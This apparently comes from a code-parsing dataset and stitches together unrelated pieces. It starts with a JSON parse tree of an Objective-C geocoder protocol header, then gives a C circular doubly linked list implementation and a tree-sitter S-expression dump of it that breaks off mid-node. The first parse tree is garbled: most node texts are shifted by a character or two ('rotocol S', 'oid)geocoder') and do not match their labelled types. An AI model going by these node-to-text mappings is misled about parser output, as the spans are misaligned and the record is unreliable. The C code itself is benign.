"ass S", "parent": 5, "children": [], "start_point": {"row": 10, "column": 1}, "end_point": {"row": 10, "column": 6}}, {"id": 7, "type": "identifier", "text": "LocationDescription;\n", "parent": 5, "children": [], "start_point": {"row": 10, "column": 7}, "end_point": {"row": 10, "column": 28}}, {"id": 8, "type": "ERROR", "text": "rotocol SVGeocoderDelegate <NSObject>\n\n@optional\n- (void)geocoder:(id", "parent": null, "children": [9, 10, 11, 12, 13, 14, 15, 16, 17], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 15, "column": 18}}, {"id": 9, "type": "ERROR", "text": "r", "parent": 8, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "otocol S", "parent": 8, "children": [], "start_point": {"row": 12, "column": 1}, "end_point": {"row": 12, "column": 9}}, {"id": 11, "type": "identifier", "text": "GeocoderDelegate <", "parent": 8, "children": [], "start_point": {"row": 12, "column": 10}, "end_point": {"row": 12, "column": 28}}, {"id": 12, "type": "<", "text": "S", "parent": 8, "children": [], "start_point": {"row": 12, "column": 29}, "end_point": {"row": 12, "column": 30}}, {"id": 13, "type": "identifier", "text": "Object>\n", "parent": 8, "children": [], "start_point": {"row": 12, "column": 30}, "end_point": {"row": 12, "column": 38}}, {"id": 14, "type": ">", "text": "\n", "parent": 8, "children": [], "start_point": {"row": 12, "column": 38}, "end_point": {"row": 12, "column": 39}}, {"id": 15, "type": "ERROR", "text": "p", "parent": 8, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 1}}, {"id": 16, "type": "identifier", "text": "tional\n-", "parent": 8, "children": [], "start_point": {"row": 14, "column": 1}, "end_point": {"row": 14, "column": 9}}, {"id": 17, "type": "unary_expression", "text": "(void)geocoder:(", "parent": 8, "children": [18], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 16}}, {"id": 18, "type": "cast_expression", "text": "oid)geocoder:(", "parent": 17, "children": [19, 21], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 16}}, {"id": 19, "type": "type_descriptor", "text": "id)g", "parent": 18, "children": [20], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 7}}, {"id": 20, "type": "primitive_type", "text": "id)g", "parent": 19, "children": [], "start_point": {"row": 15, "column": 3}, "end_point": {"row": 15, "column": 7}}, {"id": 21, "type": "identifier", "text": "ocoder:(", "parent": 18, "children": [], "start_point": {"row": 15, "column": 8}, "end_point": {"row": 15, "column": 16}}, {"id": 22, "type": "declaration", "text": ")geocoder d", "parent": null, "children": [23, 24, 25], "start_point": {"row": 15, "column": 18}, "end_point": {"row": 15, "column": 29}}, {"id": 23, "type": "type_identifier", "text": ")g", "parent": 22, "children": [], "start_point": {"row": 15, "column": 18}, "end_point": {"row": 15, "column": 20}}, {"id": 24, "type": "ERROR", "text": "e", "parent": 22, "children": [], "start_point": {"row": 15, "column": 20}, "end_point": {"row": 15, "column": 21}}, {"id": 25, "type": "identifier", "text": "ocoder d", "parent": 22, "children": [], "start_point": {"row": 15, "column": 21}, "end_point": {"row": 15, "column": 29}}, {"id": 26, "type": "labeled_statement", "text": "dRecieveLocality:(SVLocationDescription *)info;\n-", "parent": null, "children": [27], "start_point": {"row": 15, "column": 30}, "end_point": {"row": 15, "column": 79}}, {"id": 27, "type": "statement_identifier", "text": "dRecieveLocality:(", "parent": 26, "children": [], "start_point": {"row": 15, "column": 30}, "end_point": {"row": 15, "column": 48}}, {"id": 28, "type": "cast_expression", "text": "VLocationDescription *)info;\n", "parent": 26, "children": [29, 33], "start_point": {"row": 15, "column": 49}, "end_point": {"row": 15, "column": 78}}, {"id": 29, "type": "type_descriptor", "text": "LocationDescription *)i", "parent": 28, "children": [30, 31], "start_point": {"row": 15, "column": 50}, "end_point": {"row": 15, "column": 73}}, {"id": 30, "type": "type_identifier", "text": "LocationDescription *", "parent": 29, "children": [], "start_point": {"row": 15, "column": 50}, "end_point": {"row": 15, "column": 71}}, {"id": 31, "type": "abstract_pointer_declarator", "text": "i", "parent": 29, "children": [32], "start_point": {"row": 15, "column": 72}, "end_point": {"row": 15, "column": 73}}, {"id": 32, "type": "*", "text": "i", "parent": 31, "children": [], "start_point": {"row": 15, "column": 72}, "end_point": {"row": 15, "column": 73}}, {"id": 33, "type": "identifier", "text": "fo;\n", "parent": 28, "children": [], "start_point": {"row": 15, "column": 74}, "end_point": {"row": 15, "column": 78}}, {"id": 34, "type": "ERROR", "text": "(void)geocoder:(id)ge", "parent": null, "children": [35, 40], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 21}}, {"id": 35, "type": "unary_expression", "text": "(void)geocoder:(", "parent": 34, "children": [36], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 16}}, {"id": 36, "type": "cast_expression", "text": "oid)geocoder:(", "parent": 35, "children": [37, 39], "start_point": {"row": 16, "column": 2}, "end_point": {"row": 16, "column": 16}}, {"id": 37, "type": "type_descriptor", "text": "id)g", "parent": 36, "children": [38], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 7}}, {"id": 38, "type": "primitive_type", "text": "id)g", "parent": 37, "children": [], "start_point": {"row": 16, "column": 3}, "end_point": {"row": 16, "column": 7}}, {"id": 39, "type": "identifier", "text": "ocoder:(", "parent": 36, "children": [], "start_point": {"row": 16, "column": 8}, "end_point": {"row": 16, "column": 16}}, {"id": 40, "type": "identifier", "text": ")g", "parent": 34, "children": [], "start_point": {"row": 16, "column": 18}, "end_point": {"row": 16, "column": 20}}, {"id": 41, "type": "declaration", "text": "ocoder didError:(NSError *)error;\n\n", "parent": null, "children": [42, 43, 44], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 56}}, {"id": 42, "type": "type_identifier", "text": "ocoder d", "parent": 41, "children": [], "start_point": {"row": 16, "column": 21}, "end_point": {"row": 16, "column": 29}}, {"id": 43, "type": "identifier", "text": "dError:(", "parent": 41, "children": [], "start_point": {"row": 16, "column": 30}, "end_point": {"row": 16, "column": 38}}, {"id": 44, "type": "ERROR", "text": "NSError *)error;\n", "parent": 41, "children": [45, 46, 47], "start_point": {"row": 16, "column": 38}, "end_point": {"row": 16, "column": 55}}, {"id": 45, "type": "identifier", "text": "Error *", "parent": 44, "children": [], "start_point": {"row": 16, "column": 40}, "end_point": {"row": 16, "column": 47}}, {"id": 46, "type": "*", "text": "e", "parent": 44, "children": [], "start_point": {"row": 16, "column": 48}, "end_point": {"row": 16, "column": 49}}, {"id": 47, "type": "identifier", "text": "ror;\n", "parent": 44, "children": [], "start_point": {"row": 16, "column": 50}, "end_point": {"row": 16, "column": 55}}, {"id": 48, "type": "ERROR", "text": "n", "parent": null, "children": [49], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 49, "type": "ERROR", "text": "n", "parent": 48, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 50, "type": "declaration", "text": "d\n\n@protocol S", "parent": null, "children": [51, 52, 54], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 20, "column": 9}}, {"id": 51, "type": "type_identifier", "text": "d\n\n", "parent": 50, "children": [], "start_point": {"row": 18, "column": 1}, "end_point": {"row": 18, "column": 4}}, {"id": 52, "type": "ERROR", "text": "r", "parent": 50, "children": [53], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 1}}, {"id": 53, "type": "ERROR", "text": "r", "parent": 52, "children": [], "start_point": {"row": 20, "column": 0}, "end_point": {"row": 20, "column": 1}}, {"id": 54, "type": "identifier", "text": "otocol S", "parent": 50, "children": [], "start_point": {"row": 20, "column": 1}, "end_point": {"row": 20, "column": 9}}, {"id": 55, "type": "ERROR", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n\n@end\n", "parent": null, "children": [56, 93, 94], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 27, "column": 4}}, {"id": 56, "type": "binary_expression", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n", "parent": 55, "children": [57, 83, 89], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 25, "column": 14}}, {"id": 57, "type": "binary_expression", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(", "parent": 56, "children": [58, 78, 79], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 24, "column": 27}}, {"id": 58, "type": "binary_expression", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n", "parent": 57, "children": [59, 76, 77], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 22, "column": 59}}, {"id": 59, "type": "binary_expression", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> ", "parent": 58, "children": [60, 74, 75], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 22, "column": 49}}, {"id": 60, "type": "binary_expression", "text": "Geocoder <NSObject>\n\n@property(nonatomic, assign)id<S", "parent": 59, "children": [61, 65, 66, 73], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 22, "column": 30}}, {"id": 61, "type": "binary_expression", "text": "Geocoder <NSObject>\n", "parent": 60, "children": [62, 63, 64], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 30}}, {"id": 62, "type": "identifier", "text": "Geocoder <", "parent": 61, "children": [], "start_point": {"row": 20, "column": 10}, "end_point": {"row": 20, "column": 20}}, {"id": 63, "type": "<", "text": "S", "parent": 61, "children": [], "start_point": {"row": 20, "column": 21}, "end_point": {"row": 20, "column": 22}}, {"id": 64, "type": "identifier", "text": "Object>\n", "parent": 61, "children": [], "start_point": {"row": 20, "column": 22}, "end_point": {"row": 20, "column": 30}}, {"id": 65, "type": ">", "text": "\n", "parent": 60, "children": [], "start_point": {"row": 20, "column": 30}, "end_point": {"row": 20, "column": 31}}, {"id": 66, "type": "ERROR", "text": "roperty(nonatomic, assign)id", "parent": 60, "children": [67, 68], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 28}}, {"id": 67, "type": "ERROR", "text": "r", "parent": 66, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 1}}, {"id": 68, "type": "call_expression", "text": "operty(nonatomic, assign)id", "parent": 66, "children": [69, 70], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 28}}, {"id": 69, "type": "identifier", "text": "operty(n", "parent": 68, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 9}}, {"id": 70, "type": "argument_list", "text": "onatomic, assign)id", "parent": 68, "children": [71, 72], "start_point": {"row": 22, "column": 9}, "end_point": {"row": 22, "column": 28}}, {"id": 71, "type": "identifier", "text": "natomic, ", "parent": 70, "children": [], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 19}}, {"id": 72, "type": "identifier", "text": "sign)i", "parent": 70, "children": [], "start_point": {"row": 22, "column": 21}, "end_point": {"row": 22, "column": 27}}, {"id": 73, "type": "identifier", "text": "<S", "parent": 60, "children": [], "start_point": {"row": 22, "column": 28}, "end_point": {"row": 22, "column": 30}}, {"id": 74, "type": "<", "text": "V", "parent": 59, "children": [], "start_point": {"row": 22, "column": 30}, "end_point": {"row": 22, "column": 31}}, {"id": 75, "type": "identifier", "text": "GeocoderDelegate> ", "parent": 59, "children": [], "start_point": {"row": 22, "column": 31}, "end_point": {"row": 22, "column": 49}}, {"id": 76, "type": ">", "text": "d", "parent": 58, "children": [], "start_point": {"row": 22, "column": 49}, "end_point": {"row": 22, "column": 50}}, {"id": 77, "type": "identifier", "text": "legate;\n", "parent": 58, "children": [], "start_point": {"row": 22, "column": 51}, "end_point": {"row": 22, "column": 59}}, {"id": 78, "type": "ERROR", "text": "\n", "parent": 57, "children": [], "start_point": {"row": 22, "column": 59}, "end_point": {"row": 22, "column": 60}}, {"id": 79, "type": "cast_expression", "text": "oid)geocodeWithLatitude:(", "parent": 57, "children": [80, 82], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 27}}, {"id": 80, "type": "type_descriptor", "text": "id)g", "parent": 79, "children": [81], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 7}}, {"id": 81, "type": "primitive_type", "text": "id)g", "parent": 80, "children": [], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 7}}, {"id": 82, "type": "identifier", "text": "ocodeWithLatitude:(", "parent": 79, "children": [], "start_point": {"row": 24, "column": 8}, "end_point": {"row": 24, "column": 27}}, {"id": 83, "type": "ERROR", "text": "double)latitude longitude:(double)longitude;\n-", "parent": 56, "children": [84, 85, 86, 87, 88], "start_point": {"row": 24, "column": 27}, "end_point": {"row": 24, "column": 73}}, {"id": 84, "type": "primitive_type", "text": "uble)l", "parent": 83, "children": [], "start_point": {"row": 24, "column": 29}, "end_point": {"row": 24, "column": 35}}, {"id": 85, "type": "identifier", "text": "titude l", "parent": 83, "children": [], "start_point": {"row": 24, "column": 36}, "end_point": {"row": 24, "column": 44}}, {"id": 86, "type": "identifier", "text": "ngitude:(", "parent": 83, "children": [], "start_point": {"row": 24, "column": 45}, "end_point": {"row": 24, "column": 54}}, {"id": 87, "type": "primitive_type", "text": "uble)l", "parent": 83, "children": [], "start_point": {"row": 24, "column": 56}, "end_point": {"row": 24, "column": 62}}, {"id": 88, "type": "identifier", "text": "ngitude;\n", "parent": 83, "children": [], "start_point": {"row": 24, "column": 63}, "end_point": {"row": 24, "column": 72}}, {"id": 89, "type": "cast_expression", "text": "oid)cancel;\n", "parent": 56, "children": [90, 92], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 14}}, {"id": 90, "type": "type_descriptor", "text": "id)c", "parent": 89, "children": [91], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 91, "type": "primitive_type", "text": "id)c", "parent": 90, "children": [], "start_point": {"row": 25, "column": 3}, "end_point": {"row": 25, "column": 7}}, {"id": 92, "type": "identifier", "text": "ncel;\n", "parent": 89, "children": [], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 14}}, {"id": 93, "type": "ERROR", "text": "n", "parent": 55, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 1}}, {"id": 94, "type": "identifier", "text": "d\n", "parent": 55, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 4}}]}, "node_categories": {"declarations": {"functions": [], "variables": [5, 22, 41, 50], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [17, 18, 28, 35, 36, 56, 57, 58, 59, 60, 61, 68, 79, 89], "assignments": [], "loops": [], "conditionals": [6, 7, 10, 11, 13, 16, 21, 23, 25, 27, 30, 33, 39, 40, 42, 43, 45, 47, 51, 54, 62, 64, 69, 71, 72, 73, 75, 77, 82, 85, 86, 88, 92, 94], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": []}, "original_source_code": "//\n// GeocoderProvider.h\n// GWV2\n//\n// Created by gewara on 12-4-12.\n// Copyright (c) 2012\u5e74 __MyCompanyName__. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@class SVLocationDescription;\n\n@protocol SVGeocoderDelegate <NSObject>\n\n@optional\n- (void)geocoder:(id)geocoder didRecieveLocality:(SVLocationDescription *)info;\n- (void)geocoder:(id)geocoder didError:(NSError *)error;\n\n@end\n\n@protocol SVGeocoder <NSObject>\n\n@property(nonatomic, assign)id<SVGeocoderDelegate> delegate;\n\n- (void)geocodeWithLatitude:(double)latitude longitude:(double)longitude;\n- (void)cancel;\n\n@end\n"}
81,160
c
/* This is a circular doubly linked list. The very first element in the list is the sentry element and does not count as a element of the list. New: the first element also contains the length of the list Made by <NAME> (2015) */ #include <stdlib.h> #include "dlinkedlist.h" /* * Allocates memory to the list and setups the sentry element * returns NULL if unsuccessful */ linked_list *initialize_list() { linked_list *new_list; int *initial_length; new_list = malloc( sizeof(linked_list) ); if (new_list == NULL) { DL_OUT_OF_MEM_MSG; return NULL; } initial_length = calloc(1, sizeof(int)); new_list->next = new_list; new_list->previous = new_list; new_list->data = (void *) initial_length; return new_list; } /* * Appending a new element to the list. * Returns DL_SUCCESS_SIGNAL on successful appending, * DL_ERROR_SIGNAL otherwise. */ int append_element(linked_list *list, void *element) { if (list == NULL || element == NULL) { DL_INVALID_ARGS_MSG; return DL_ERROR_SIGNAL; } linked_list *new_list_element; new_list_element = malloc( sizeof(linked_list) ); if (new_list_element == NULL) { DL_OUT_OF_MEM_MSG; return DL_ERROR_SIGNAL; } new_list_element->data = element; *((int*) list->data) += 1; // list->previous is the (old) last element in the list new_list_element->previous = list->previous; new_list_element->next = list; list->previous->next = new_list_element; list->previous = new_list_element; return DL_SUCCESS_SIGNAL; } /* * Prepends a new element to the list. * Returns DL_SUCCESS_SIGNAL on successful pre-pending, * DL_ERROR_SIGNAL otherwise. */ int prepend_element(linked_list *list, void *element) { if(list == NULL || element == NULL){ DL_INVALID_ARGS_MSG; return DL_ERROR_SIGNAL; } linked_list *new_list_element; new_list_element = malloc(sizeof(linked_list)); if(new_list_element == NULL){ DL_OUT_OF_MEM_MSG; return DL_ERROR_SIGNAL; } new_list_element->data = element; *((int*) list->data) += 1; // list->next is the old first element in the list new_list_element->next = list->next; new_list_element->previous = list; list->next->previous = new_list_element; list->next = new_list_element; return DL_SUCCESS_SIGNAL; } /* * Returns DL_SUCCESS_SIGNAL if element was removed, returns * DL_ERROR_SIGNAL otherwise */ int delete_element(linked_list *list, void *element) { if (list == NULL || element == NULL) { DL_INVALID_ARGS_MSG; return DL_ERROR_SIGNAL; } linked_list *iterator; iterator = list->next; while (iterator != list) { if (iterator->data == element) { iterator->previous->next = iterator->next; iterator->next->previous = iterator->previous; free(iterator); *((int*) list->data) -= 1; return DL_SUCCESS_SIGNAL; } iterator = iterator->next; } return DL_ERROR_SIGNAL; } /* * Retrieves the first element in the list, or NULL if no first element is * found */ void *get_first_element(linked_list *list) { if (list == NULL) { DL_INVALID_ARGS_MSG; return NULL; } else if (list->next == list) { DL_OUT_OF_BOUND_MSG; return NULL; } return list->next->data; } /* * Retrieves the last element in the list, or NULL if no last element is found */ void *get_last_element(linked_list *list) { if (list == NULL) { DL_INVALID_ARGS_MSG; return NULL; } else if (list->previous == list) { DL_OUT_OF_BOUND_MSG; return NULL; } return list->previous->data; } /* * Retrieves the k'th element in the list, or NULL and an error message if * index is out of bounce */ void *get_element(linked_list *list, int k) { if (list == NULL) { DL_INVALID_ARGS_MSG; return NULL; } linked_list *iterator; int i; if ( k >= 0 && k < get_length(list) ) { iterator = list->next; for (i = 0; i < k; ++i) { iterator = iterator->next; } return iterator->data; } DL_OUT_OF_BOUND_MSG; return NULL; } /* * Gets the index of the element, * returns -1 if not found */ int get_index_of_element(linked_list *list, void *data) { if (list == NULL || data == NULL) { DL_INVALID_ARGS_MSG; return DL_ERROR_SIGNAL; } int i; linked_list *iterator; iterator = list->next; for (i = 0; list != iterator; i++) { if (data == iterator->data) { return i; } iterator = iterator->next; } return DL_ERROR_SIGNAL; } /* * Gets a count of the elements in the linked list or DL_ERROR_SIGNAL if error */ int get_length(linked_list *list) { if (list == NULL) { DL_INVALID_ARGS_MSG; return DL_ERROR_SIGNAL; } /* linked_list *iterator; int counter; counter = 0; iterator = list->next; while (iterator != list) { counter++; iterator = iterator->next; } return counter; */ return *((int*) list->data); } /* * Makes a string containing all pointers to the element data * in the linked list. This hopefully gives some insight into * the contents of the linked list. */ void list_dump(const linked_list *list) { if (list == NULL) { DL_INVALID_ARGS_MSG; return; } linked_list *iterator; iterator = list->next; printf("["); while(list != iterator) { if (iterator->next == list) { printf("%p",iterator->data); } else { printf("%p,",iterator->data); } iterator = iterator->next; } printf("]\n"); } /* * Deallocates all the nodes in the whole list */ void terminate_list(linked_list **list) { if (list == NULL || *list == NULL) { DL_INVALID_ARGS_MSG; return; } linked_list *iterator; linked_list *placeholder; iterator = (*list)->next; while (iterator != (*list)) { placeholder = iterator->next; free(iterator); iterator = placeholder; } free(*list); *list = NULL; }
22.89
234
(translation_unit) "/*\n This is a circular doubly linked list.\n The very first element in the list is the sentry \n element and does not count as a element of the list.\n New: the first element also contains the length of the list\n Made by <NAME> (2015)\n*/\n#include <stdlib.h>\n#include "dlinkedlist.h"\n\n/*\n * Allocates memory to the list and setups the sentry element\n * returns NULL if unsuccessful\n */\nlinked_list *initialize_list() {\n linked_list *new_list;\n int *initial_length;\n new_list = malloc( sizeof(linked_list) );\n\n if (new_list == NULL) {\n DL_OUT_OF_MEM_MSG;\n return NULL; \n }\n initial_length = calloc(1, sizeof(int));\n\n new_list->next = new_list;\n new_list->previous = new_list;\n new_list->data = (void *) initial_length;\n\n return new_list;\n}\n\n/* \n * Appending a new element to the list.\n * Returns DL_SUCCESS_SIGNAL on successful appending,\n * DL_ERROR_SIGNAL otherwise.\n */\nint append_element(linked_list *list, void *element) {\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc( sizeof(linked_list) );\n \n if (new_list_element == NULL) {\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->previous is the (old) last element in the list\n\n new_list_element->previous = list->previous;\n new_list_element->next = list;\n\n list->previous->next = new_list_element;\n list->previous = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}\n\n/*\n * Prepends a new element to the list. \n * Returns DL_SUCCESS_SIGNAL on successful pre-pending,\n * DL_ERROR_SIGNAL otherwise.\n */\nint prepend_element(linked_list *list, void *element) {\n if(list == NULL || element == NULL){\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *new_list_element;\n\n new_list_element = malloc(sizeof(linked_list));\n \n if(new_list_element == NULL){\n DL_OUT_OF_MEM_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n new_list_element->data = element;\n\n *((int*) list->data) += 1;\n\n // list->next is the old first element in the list\n\n new_list_element->next = list->next;\n new_list_element->previous = list;\n\n list->next->previous = new_list_element;\n list->next = new_list_element;\n\n return DL_SUCCESS_SIGNAL;\n}\n\n/*\n * Returns DL_SUCCESS_SIGNAL if element was removed, returns\n * DL_ERROR_SIGNAL otherwise\n */\nint delete_element(linked_list *list, void *element) {\n if (list == NULL || element == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n linked_list *iterator;\n\n iterator = list->next;\n\n while (iterator != list) {\n if (iterator->data == element) {\n iterator->previous->next = iterator->next;\n iterator->next->previous = iterator->previous;\n free(iterator);\n *((int*) list->data) -= 1;\n return DL_SUCCESS_SIGNAL;\n }\n iterator = iterator->next;\n }\n return DL_ERROR_SIGNAL;\n}\n\n/* \n * Retrieves the first element in the list, or NULL if no first element is\n * found\n */\nvoid *get_first_element(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->next == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->next->data;\n}\n\n\n/*\n * Retrieves the last element in the list, or NULL if no last element is found\n */\nvoid *get_last_element(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n } else if (list->previous == list) {\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n }\n return list->previous->data;\n}\n\n/*\n * Retrieves the k'th element in the list, or NULL and an error message if\n * index is out of bounce \n */\nvoid *get_element(linked_list *list, int k) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return NULL; \n }\n\n linked_list *iterator;\n int i;\n\n if ( k >= 0 && k < get_length(list) ) {\n iterator = list->next;\n\n for (i = 0; i < k; ++i) {\n iterator = iterator->next;\n }\n\n return iterator->data;\n }\n\n DL_OUT_OF_BOUND_MSG;\n return NULL;\n}\n\n/*\n * Gets the index of the element,\n * returns -1 if not found\n */\nint get_index_of_element(linked_list *list, void *data) {\n if (list == NULL || data == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n int i;\n linked_list *iterator;\n iterator = list->next;\n\n for (i = 0; list != iterator; i++) {\n if (data == iterator->data) {\n return i;\n }\n iterator = iterator->next;\n }\n\n return DL_ERROR_SIGNAL;\n}\n\n/*\n * Gets a count of the elements in the linked list or DL_ERROR_SIGNAL if error\n */\nint get_length(linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return DL_ERROR_SIGNAL;\n }\n\n/* linked_list *iterator;\n int counter;\n\n counter = 0;\n iterator = list->next;\n\n while (iterator != list) {\n counter++;\n iterator = iterator->next;\n }\n\n return counter; */\n\n return *((int*) list->data);\n}\n\n/* \n * Makes a string containing all pointers to the element data \n * in the linked list. This hopefully gives some insight into \n * the contents of the linked list. \n */\nvoid list_dump(const linked_list *list) {\n if (list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n \n iterator = list->next;\n \n printf("[");\n while(list != iterator) {\n if (iterator->next == list) {\n printf("%p",iterator->data);\n } else {\n printf("%p,",iterator->data);\n }\n iterator = iterator->next;\n }\n printf("]\n");\n}\n\n/*\n * Deallocates all the nodes in the whole list\n */\nvoid terminate_list(linked_list **list) {\n if (list == NULL || *list == NULL) {\n DL_INVALID_ARGS_MSG;\n return; \n }\n\n linked_list *iterator;\n linked_list *placeholder;\n\n iterator = (*list)->next;\n while (iterator != (*list)) {\n placeholder = iterator->next;\n free(iterator);\n iterator = placeholder;\n }\n free(*list);\n *list = NULL;\n}\n" (comment) "/*\n This is a circular doubly linked list.\n The very first element in the list is the sentry \n element and does not count as a element of the list.\n New: the first element also contains the length of the list\n Made by <NAME> (2015)\n*/" (preproc_include) "#include <stdlib.h>\n" (#include) "#include" (system_lib_string) "<stdlib.h>" (preproc_include) "#include "dlinkedlist.h"\n" (#include) "#include" (string_literal) ""dlinkedlist.h"" (") """ (string_content) "dlinkedlist.h" (") """ (comment) "/*\n * Allocates memory to the list and setups the sentry element\n * returns NULL if unsuccessful\n */" (function_definition) "linked_list *initialize_list() {\n linked_list *new_list;\n int *initial_length;\n new_list = malloc( sizeof(linked_list) );\n\n if (new_list == NULL) {\n DL_OUT_OF_MEM_MSG;\n return NULL; \n }\n initial_length = calloc(1, sizeof(int));\n\n new_list->next = new_list;\n new_list->previous = new_list;\n new_list->data = (void *) initial_length;\n\n return new_list;\n}" (type_identifier) "linked_list" (pointer_declarator) "*initialize_list()" (*) "*" (function_declarator) "initialize_list()" (identifier) "initialize_list" (parameter_list) "()" (() "(" ()) ")" (compound_statement) "{\n linked_list *new_list;\n int *initial_length;\n new_list = malloc( sizeof(linked_list) );\n\n if (new_list == NULL) {\n DL_OUT_OF_MEM_MSG;\n return NULL; \n }\n initial_length = calloc(1, sizeof(int));\n\n new_list->next = new_list;\n new_list->previous = new_list;\n new_list->data = (void *) initial_length;\n\n return new_list;\n}" ({) "{" (declaration) "linked_list *new_list;" (type_identifier) "linked_list" (pointer_declarator) "*new_list" (*) "*" (identifier) "new_list" (;) ";" (declaration) "int *initial_length;" (primitive_type) "int" (pointer_declarator) "*initial_length" (*) "*" (identifier) "initial_length" (;) ";" (expression_statement) "new_list = malloc( sizeof(linked_list) );" (assignment_expression) "new_list = malloc( sizeof(linked_list) )" (identifier) "new_list" (=) "=" (call_expression) "malloc( sizeof(linked_list) )" (identifier) "malloc" (argument_list) "( sizeof(linked_list) )" (() "(" (sizeof_expression) "sizeof(linked_list)" (sizeof) "sizeof" (parenthesized_expression) "(linked_list)" (() "(" (identifier) "linked_list" ()) ")" ()) ")" (;) ";" (if_statement) "if (new_list == NULL) {\n DL_OUT_OF_MEM_MSG;\n return NULL; \n }" (if) "if" (parenthesized_expression) "(new_list == NULL)" (() "(" (binary_expression) "new_list == NULL" (identifier) "new_list" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n DL_OUT_OF_MEM_MSG;\n return NULL; \n }" ({) "{" (expression_statement) "DL_OUT_OF_MEM_MSG;" (identifier) "DL_OUT_OF_MEM_MSG" (;) ";" (return_statement) "return NULL;" (return) "return" (null) "NULL" (NULL) "NULL" (;) ";" (}) "}" (expression_statement) "initial_length = calloc(1, sizeof(int));" (assignment_expression) "initial_length = calloc(1, sizeof(int))" (identifier) "initial_length" (=) "=" (call_expression) "calloc(1, sizeof(int))" (identifier) "calloc" (argument_list) "(1, sizeof(int))" (() "(" (number_literal) "1" (,) "," (sizeof_expression) "sizeof(int)" (sizeof) "sizeof" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" ()) ")" (;) ";" (expression_statement) "new_list->next = new_list;" (assignment_expression) "new_list->next = new_list" (field_expression) "new_list->next" (identifier) "new_list" (->) "->" (field_identifier) "next" (=) "=" (identifier) "new_list" (;) ";" (expression_statement) "new_list->previous = new_list;" (assignment_expression) "new_list->previous = new_list" (field_expression) "new_list->previous" (identifier) "new_list" (->) "->" (field_identifier) "previous" (=) "=" (identifier) "new_list" (;) ";" (expression_statement) "new_list->data = (void *) initial_length;" (assignment_expression) "new_list->data = (void *) initial_length" (field_expression) "new_list->data" (identifier) "new_list" (->) "->" 